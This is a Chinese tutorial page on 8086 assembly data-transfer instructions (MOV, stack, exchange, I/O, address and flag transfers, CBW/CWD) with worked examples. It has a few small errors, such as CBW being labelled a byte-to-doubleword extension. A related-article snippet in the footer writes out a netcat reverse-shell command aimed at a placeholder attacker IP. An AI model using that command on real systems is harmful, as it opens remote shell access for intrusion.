数据传送指令

数据传送:负责把数据、地址或立即数传送到寄存器或存储单元中

数据传送指令可以分为四个类型:通用数据传送指令、地址传送指令、标志位传送指令、专用累加器传送指令(输入、输出指令)

一、通用数据传送指令

(一)传送字或字节指令 MOV

(1)重点掌握内容

  • 格式MOV DST,SRC

  • 执行的操作(DST) ← (SRC)

  • 标志位:不影响

功能:将源操作数传送到目的操作数
这里的传送实际上是复制,将 SRC 复制到DSTSRC 内容不变

注意

  • DSTSRC 必须类型一致(都是 8位 或者是 16位)
  • DST不能是立即数(立即数不能作为目的操作数)
  • SRC 是立即数时,DST不能是段寄存器,必须通过通用寄存器作中介
  • 两个操作数不能同时为存储器操作数,存储单元之间不能直接传送数据
  • 两个操作数不能同时为段寄存器操作数,段寄存器之间不能直接传送

(2)传送指令格式总结

在这里插入图片描述

  • SRC可以是:寄存器、存储单元、立即数、段寄存器
  • DST可以是:寄存器、存储单元(此时SRC不能是存储单元)、除CS以外的段寄存器(此时SRC不能是立即数和段寄存器)

(3)MOV指令使用的几种情况

  • 立即数传送给通用寄存器或存储器

    MOV AL,12H
    ;8位数据传送,将12H传送到寄存器AL中
    MOV AX,3456H
    ;16位数据传送,将3456H传送到寄存器AX中
    
  • 通用寄存器之间相互传送

    MOV AX,BX
    ;16位数据传送,将BX中的数据传送到寄存器AX中
    MOV CL,BH
    ;8位数据传送,将BH中的数据传送到寄存器CL中
    
  • 通用寄存器和存储器之间相互传送

    MOV AX,[BX]
    ;16位数据传送,将BX指定的连续2个字节中的数据传送到AX中
    MOV [SI],DH
    ;8位数据传送,将DH中的数据传送到由SI指定的内存单元中
    
  • 段寄存器与通用寄存器、存储器之间的相互传送

    MOV DS,AX
    MOV BX,ES
    MOV ES,[SI]
    MOV [DI],SS
    

注意MOV [BX],0 指令是错误的,因为述指令的源操作数是立即数,其长度是不确定的,目的操作数是主存单元,但以低地址访问主存单元时,[BX]并不能说明是字节单元还是字单元,因此长度也是不确定的

解决办法:在指令中指定内存单元的类型,将上述指令改写为下面两种形式

MOV BYTE PTR BX,0 	;BYTE PTR 说明是字节操作,写一个字节单元
MOV WORD PTR BX,0 	;WORD PTR 说明是字操作,写一个字单元

这样目的操作数长度就是明确的,指令是正确的

(二)堆栈操作指令 PUSH & POP

堆栈是一个“先进后出”的存储区,段地址存放在 SS 中,SP在任何时候都指向栈顶,进出栈后自动修改 SP

(1)重点掌握内容

PUSH 进栈指令
  • 格式PUSH SRC

  • 执行的操作(SP) ← (SP)-2
    ((SP)+1,(SP)) ← (SRC)

  • 标志位:不影响

功能:把通用寄存器,段寄存器,存储单元中的一个字入栈

POP出栈指令
  • 格式POP DST

  • 执行的操作(DST) ← ((SP)+1,(SP))
    (SP) ← (SP)+2

  • 标志位:不影响

功能:从堆栈顶部弹出一个字,到通用寄存器、段寄存器或存储单元

【附注执行操作的解释:因为堆栈指针SP总是指向已经存入数据的栈顶(不是空单元),所以PUSH指令是先将(SP)-2,后将内容压栈,(即先修改SP使之指向空单元,后压入数据),而POP是先从栈顶弹出一个字,后将堆栈指针(SP)+2

堆栈操作指令使用注意事项
  • 堆栈操作必须是以为单位
  • 堆栈操作不能用立即寻址方式
  • DST 不能是 CS ,即 POP CS 是不合法的

(2)应用实例

【例1】假设 (AX) = 2107H

在这里插入图片描述

在这里插入图片描述

【例2】DS=3000H,BX=2000H,SI=0002H,AX=1234H,CX=5678H,(32000H)=99H,(32001H)=88H,(32002H)=77H,(32003H)=66H,(32004H)=55H,(32005H)=44H …

程序如下:

PUSH AX
PUSH CX
POP [BX]
POP [BX+SI]

求执行上面程序后
(1)(32001H)=?
(2)(32002 H)=?,AX=?,BX=?,CX=?

【解】分析如下

在这里插入图片描述

在这里插入图片描述

(1)(32001H)=56H
(2)(32002H)=34H,AX=1234H,BX=2000H,CX=5678H

(三)交换指令 XCHG

(1)重点掌握内容

  • 格式XCHG OPR1,OPR2
  • 执行的操作(OPR1) ←→ (OPR2)
  • 标志位:不影响

功能:将OPR1OPR2 中的内容进行互换

注意

  • 不允许使用段寄存器
  • 可以用除立即数以外的所有寻址方式
  • 两个操作数必须有一个在寄存器中

(2)应用实例

【例】DS=3000H,BX=2000H,SI=0002H,AX=1234H,(32000H)=99H,(32001H)=88H,(32002H)=77H,(32003H)=66H,(32004H)=55H,(32005H)=44H …

程序如下:

XCHG AX,[BX]
XCHG DX,[BX+SI]

求执行上面程序后的结果(思路和堆栈指令例题相似)

二、累加器(AX)专用传送指令

只限使用AX或AD

(一)输入指令 IN(I/O → CPU)

(1)重点掌握内容

  • 长格式:直接在指令中指定端口号(0~FFH)

    IN AL, PORT (字节)
    IN AX, PORT (字)

    执行的操作
    (AL) ← (PORT) (字节)
    (AX) ← (PORT+1,PORT) (字)

  • 短格式:须先把端口号放在DX寄存器中(0000~FFFFH)

    IN AL, DX (字节)
    IN AX, DX (字)

    执行的操作
    (AL) ← ((DX)) (字节)
    (AX) ← ((DX)+1,(DX)) (字)

  • 标志位:不影响

(2)应用实例

【例1】

IN AX,28H
MOV DATA_WORD,AX
;把端口28的内容经过AX送到内存单元中

【例2】

MOV DX,3FCH
IN EAX,DX
;从端口送一个双字到EAX中

(二)输出指令 OUT(CPU → I/O)

(1)重点掌握内容

  • 长格式:直接在指令中指定端口号(0~FFH)

    OUT PORT,AL(字节)
    OUT PORT,AX (字)

    执行的操作
    (PORT) ← (AL) (字节)
    (PORT+1,PORT) ← (AX) (字)

  • 短格式:须先把端口号放在DX寄存器中(0000~FFFFH)

    OUT DX,AL (字节)
    OUT DX,AX (字)

    执行的操作
    (AL) ← ((DX)) (字节)
    (AX) ← ((DX)+1,(DX)) (字)

  • 标志位:不影响

(2)应用实例

【例】

OUT 5,AL
;把 AL 中的内容送到端口5

(三)换码指令 XLAT(了解)

(1)重点掌握内容

  • 格式XLATXLAT OPR(首地址)
  • 执行的操作(AL) ← ((BX)+(AL))
  • 标志位:不影响

功能:将AL与BX寄存器内容之和作为偏移地,将其所对应的存储单元的内容送入AL寄存器中

注意

  • 执行前:在内存建立一个字节表格(长度不超过256),内含要转换成的目的代码
    BX——存放表格首地址
    AL——存放相对表格首地址的偏移量
  • 执行后:将AL寄存器的内容转换为目标代码

(2)应用实例

【例】 (BX) = 0400H,(DS) = F000H

在这里插入图片描述

程序执行后 (AL) = 33H

三、地址传送指令

(一)有效地址EA送寄存器指令 LEA

(1)重点掌握内容

  • 格式LEA REG,SRC
  • 执行的操作(REG) ← SRC
  • 标志位:不影响

功能:该指令把存储单元内容的有效地址送到指定的寄存器中(用一个寄存器作内存单元的地址指针)

注意

  • REG不能是段寄存器
  • SRC 必须为存储器寻址方式(即不能使用立即数和寄存器寻址方式)

(2)MOV 和 LEA 的区别

LEA 指令可以用来将一个内存地址直接赋给目的操作数,例如:

LEA EAX,[EBX+8] 就是将 EBX+8 这个直接赋给 EAX

而 MOV 指令 MOV EAX,[EBX+8] 则是把内存地址为 EBX+8 处的数据赋给 EAX

【摘自:汇编语言中mov和lea的区别有哪些? 】

注意MOV EAX,EBX+8 看起来和 LEA EAX,[EBX+8] 作用相同,但是MOV 指令不支持这样的格式 【摘自:lea和mov指令的区别】

(二)指针传送指令 LDS & LES

(1)重点掌握内容

  • 格式

    LDS REG,SRC

    LES REG,SRC

  • 执行的操作

    (REG) ← (SRC) (DS)←(SRC+2) 相继二字 → 寄存器、DS

    (REG) ← (SRC) (ES)←(SRC+2) 相继二字 → 寄存器、ES

  • 标志位:不影响

注意

  • REG不能是段寄存器
  • SRC 必须为存储器寻址方式(即不能使用立即数和寄存器寻址方式)

(2)LEA & LDS & LES 综合应用实例

在这里插入图片描述

四、标志传送指令

在这里插入图片描述

(一)标志送AH指令 LAHF

(1)重点掌握内容

  • 格式LAHF
  • 执行的操作(AH) ← (Flag/PSW的低位字节)
  • 标志位:不影响

在这里插入图片描述

(二)AH送标志寄存器指令 SAHF

(1)重点掌握内容

  • 格式SAHF
  • 执行的操作(Flag/PSW的低位字节) ← (AH)
  • 标志位:影响

在这里插入图片描述

(三*)标志进栈指令 PUSHF

(1)重点掌握内容

  • 格式PUSHF
  • 执行的操作
    (SP) ← (SP)-2
    ((SP)+1,(SP)) ← (FLAGS)
  • 标志位:不影响

功能:保护标志

(四*)标志出栈指令 POPF

(1)重点掌握内容

  • 格式POPF
  • 执行的操作
    (FLAGS) ← ((SP)+1,(SP))
    (SP) ← (SP)+2
  • 标志位:影响

功能:恢复标志

五、类型转换指令

(一)字节扩展到双字 CBW

(1)重点掌握内容

  • 格式CBW
  • 执行的操作
    若(AL)的最高有效位为 0,则 (AH) = 00H
    若(AL)的最高有效位为 1,则 (AH) = FFH
  • 标志位:不影响

(二)字扩展到双字 CWD

(1)重点掌握内容

  • 格式CWD
  • 执行的操作
    若(AX)的最高有效位为 0,则 (DX) = 0000H
    若(AX)的最高有效位为 1,则 (DX) = FFFFH
  • 标志位:不影响

这篇 【汇编语言】cbw和cwd 博客讲解了具体方法


参考文章

数据传送指令

8086CPU指令系统——数据传送类指令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/12342.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端框架-echarts

Echarts 项目中要使用到echarts框架&#xff0c;从零开始在csdn上记笔记。 这是一个基础的代码&#xff0c;小白入门看一下 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" co…

刷题之找到字符串所有字母异位词

找到字符串所有字母异位词 滑动窗口。滑动窗口大小为待比较数组的大小。 class Solution { public:vector<int> findAnagrams(string s, string p) {//滑动窗口vector<int>result;if(s.size()<p.size())return result;vector<int>pnum(26,0);//记录p的字…

链表----带环链表快慢指针进阶版

1.带环链表及其拓展 &#xff08;1&#xff09;这个题目组要就是进行判断这个链表是否带环&#xff0c;使用的是布尔类型作为返回值&#xff1b; &#xff08;2&#xff09;我们这里的思路是使用的快慢指针&#xff0c;快指针一次走2步&#xff0c;慢指针一次走1步&#xff0c…

思维导图软件哪个好?5个软件教你自己快速制作思维导图

思维导图软件哪个好&#xff1f;5个软件教你自己快速制作思维导图 思维导图软件在现代生活和工作中扮演着重要的角色&#xff0c;它们可以帮助人们整理思维、规划项目、记录笔记等。以下是五款值得推荐的思维导图软件&#xff0c;它们各有特色&#xff0c;可以帮助您快速制作思…

嵌入式Linux:编译和使用Protobuf库

目录 1、开发环境和工具 2、安装和编译Protobuf、Protobuf-C库 3、编写和编译proto文件 4、修改makefile文件 5、测试示例 6、参考资料 Protobuf&#xff08;Protocol Buffers&#xff09;是由 Google 开发的一种轻量级、高效的结构化数据序列化方式&#xff0c;用于在不同应用…

Charger之三动态电源路径管理(DPPM)

-----本文简介----- 主要内容包括&#xff1a; 领资料&#xff1a;点下方↓名片关注回复&#xff1a;粉丝群 硬件之路学习笔记公众号 Charger的动态电源路径管理&#xff08;DPPM&#xff09; 前篇内容&#xff1a;①电池管理IC&#xff08;Charger&#xff09;了解一下&…

基于java 自定义注解Annotation设计简单ORM框架——进阶篇

目录 引言实例新建两个注解标注实体类拼接sql语句 总结 引言 一般Java规范编程&#xff08;只是一种习惯&#xff0c;而不是强制&#xff09;中&#xff0c;变量的命名方式一般采用驼峰式命名。比如userName&#xff0c;userImage。但是在数据库中一般不会采用驼峰式&#xff…

AIGC、LLM 加持下的地图特征笔记内容生产系统架构设计

文章目录 背景构建自动化内容生产平台系统架构设计架构详细设计流程介绍笔记来源笔记抓取干预 笔记 AIGC 赋能笔记 Rule 改写笔记特征库构建 附录Bash Cron 定时任务Golang 与 Pyhon AIGC 实践 小结 背景 在大模型的浪潮下&#xff0c;ChatGPT、Sora、Gemini、文言一心 等新技…

[MRCTF2020]PixelShooter

是个安卓游戏题 re手肯定不会去玩游戏&#xff0c;先jadx分析一波 没有什么关键信息&#xff0c;但找到了一个unity类&#xff0c;想到apk也可以解压缩得到 .so 或者 Assembly-CSharp.dll 故又在dnspy分析一下 看了半天没有和flag有关信息&#xff0c;看wp&#xff1a; Asse…

用面向对象的思想编写实时嵌入式C程序

实时嵌入式系统的软件一般由C语言编写&#xff0c;程序结构基本上都是这样的&#xff1a; // 主程序 int main(void) {init(); // 初始化while(1){tick(); // 业务逻辑}return 0; }// 计时器 static unsigned int g_timer_tick_cnt 0; // 时钟中断回调 void isr_time…

【工作篇】软件工程师的知识基础(持续更新)

目录 1. linux 知识篇 1. linux 知识篇 1. Linux API 是什么 Linux API 是指 Linux 操作系统 提供的应用程序接口&#xff0c;用于与操作系统进行交互。它包含了一系列的函数、系统调用、库函数和数据结构&#xff0c;用于实现各种系统级的操作&#xff0c;如文件操作、进程…

HTML常用标签-布局相关标签

布局标签 div标签 俗称"块",主要用于划分页面结构,做页面布局 自己独占一行的元素&#xff0c;设置宽高生效 span标签 俗称"层",主要用于划分元素范围,配合CSS做页面元素样式的修饰 不会自己独占一行的元素&#xff0c;设置宽高不生效 代码 <div style&…

海南省薪鑫网络科技有限公司:引领智能剪辑纪元!

在数字化浪潮的激荡下&#xff0c;海南省薪鑫网络科技有限公司凭借其尖端技术实力&#xff0c;正引领着内容创作行业迈向一个崭新的智能剪辑纪元。这一划时代的变革&#xff0c;源于公司精心打造的AI剪辑软件&#xff0c;它不仅为剪辑工作赋予了新的高度&#xff0c;也为广大创…

RK3566(泰山派):3.1寸屏幕D310T9362V1SPEC触摸驱动(竖屏)

RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09; 文章目录 RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09;电路配置i2c1设备树创建驱动编写…

算法分析与设计复习__渐近+复杂度

算法v.s.程序: 程序 数据结构 算法&#xff1b; 1.时空复杂度T(n)/O(n)&#xff08;衡量一个算法的优劣&#xff09; 1.1最坏/最好/平均(所有输入等概出现)时间复杂度; 1.1.1 E.g.手算某算法&#xff08;冒泡排序&#xff09;程序段的T,O; 1.2算法的渐近表示&#xff1b; …

智慧安防系统:构建更安全的社区环境

随着科技的不断进步&#xff0c;人们的生活质量得到了显著提高。然而&#xff0c;与此同时&#xff0c;社会治安问题也日益凸显。为了维护社会的和谐稳定&#xff0c;提高人们的生活安全感&#xff0c;智慧安防系统应运而生。本文将为您详细介绍智慧安防系统的项目背景、需求分…

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略

暗黑4可以搬砖吗&#xff1f;暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP&#xff0c;在全世界有着广泛的玩家群体&#xff0c;更是在今年暴雪国服宣布回归之后&#xff0c;吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

【多模态】30、Monkey | 支持大尺寸图像输入的多任务多模态大模型

文章目录 一、背景二、方法2.1 Enhancing Input Resolution2.2 Multi-level Description Generation2.3 Multi-task Training 三、效果3.1 Image Caption3.2 General VQA3.3 Scene Text-centric VQA3.4 Document-oriented VQA3.5 消融实验3.6 可视化 论文&#xff1a;Monkey : …

数据结构与算法-排序算法2-选择排序

目录 1.选择排序&#xff1a; 1.介绍&#xff1a; 2.动态图解 3.举例 4.小结选择排序规则 5.选择排序代码 6.运行时间 代码&#xff1a; 运行结果&#xff1a; 1.排序算法简介 排序也称为排序算法。排序是将一组数据依据指定的顺序进行排列的过程。 2.常见的排序算法…